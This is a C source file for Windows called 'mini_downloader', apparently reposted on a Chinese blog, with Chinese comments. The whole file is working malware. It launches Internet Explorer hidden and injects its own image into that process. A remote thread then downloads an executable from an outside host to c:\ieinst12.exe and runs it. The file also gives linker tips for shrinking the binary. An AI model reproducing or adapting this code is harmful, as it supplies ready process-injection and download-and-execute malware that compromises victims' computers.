1. /*
  2.    "mini_downloader"
  3.    code bykardinal p.s.t
  4.    compile by vc++ 6.0
  5.    can not run under win98;
  6. */
  7. #include <windows.h>  

  8. #pragma comment(lib,"user32.lib")  
  9. #pragma comment(lib,"kernel32.lib")  

  10. //#pragma comment(linker, "/OPT:NOWIN98")   //取消这几行的注释,编译出的文件只有2K大小
  11. //#pragma comment(linker, "/merge:.data=.text")   
  12. //#pragma comment(linker, "/merge:.rdata=.text")   
  13. //#pragma comment(linker, "/align:0x200")  
  14. #pragma comment(linker, "/ENTRY:main")   
  15. #pragma comment(linker, "/subsystem:windows")  
  16. #pragma comment(linker, "/BASE:0x13150000")  
  17.    
  18.    HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
  19.    DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
  20.    HANDLE processhandle;
  21.    DWORD pid;
  22.    HINSTANCE hshell,hurlmon;

  23. void download() //注入使用的下载函数
  24. {
  25.    hshell=LoadLibrary("Shell32.dll");
  26.    hurlmon=LoadLibrary("urlmon.dll");

  27.    (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
  28.    (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

  29.    DOWNFILE(NULL,"http://www.xxxxxxx.cn/en/notepad.exe","c:\\ieinst12.exe",0, NULL);
  30.    SHELLRUN(0,"open","c:\\ieinst12.exe",NULL,NULL,5);  
  31.    ExitProcess(0);
  32. };
  33.    

  34. void main() //主函数
  35. {   
  36.     //1.得到IE路径,并运行
  37.    char iename[MAX_PATH],iepath[MAX_PATH];
  38.    ZeroMemory(iename,sizeof(iename));
  39.    ZeroMemory(iepath,sizeof(iepath));

  40.    GetWindowsDirectory(iepath,MAX_PATH);
  41.    strncpy(iename,iepath,3);
  42.    strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");
  43.    //strcat(iename,"windows\\notepad.EXE");
  44.    WinExec(iename,SW_HIDE);
  45.    Sleep(500);

  46.    //2.得到 IE process handle
  47.    HWND htemp;
  48.    htemp=FindWindow("IEFrame",NULL);
  49.    GetWindowThreadProcessId(htemp,&pid);
  50.    processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  51.    
  52.    //3.分配内存
  53.    HMODULE Module;
  54.    LPVOID NewModule;
  55.    DWORD Size;
  56.    LPDWORD lpimagesize;

  57.    Module = GetModuleHandle(NULL);//进程映像的基址
  58.    //得到内存镜像大小
  59.    _asm
  60.    {
  61.        push eax;
  62.        push ebx;
  63.        mov ebx,Module;
  64.        mov eax,[ebx+0x3c];
  65.        lea eax,[ebx+eax+0x50];     
  66.        mov eax,[eax]
  67.        mov lpimagesize,eax;
  68.        pop ebx;
  69.        pop eax;
  70.    };
  71.    Size=(DWORD)lpimagesize;
  72.    NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置

  73.    //4.写内存,创建线程
  74.    WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
  75.    LPTHREAD_START_ROUTINE entrypoint;
  76.    __asm
  77.    {
  78.        push eax;
  79.        lea eax,download;
  80.        mov entrypoint,eax;
  81.        pop eax
  82.    }
  83.    
  84.    CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL);    //建立远程线程,并运行
  85.    
  86.    //5.关闭对象
  87.    CloseHandle(processhandle);
  88.    return;
  89. } ;
复制代码
Posted on 2011-03-23 18:10  dekill  阅读(306)  评论(0编辑  收藏  举报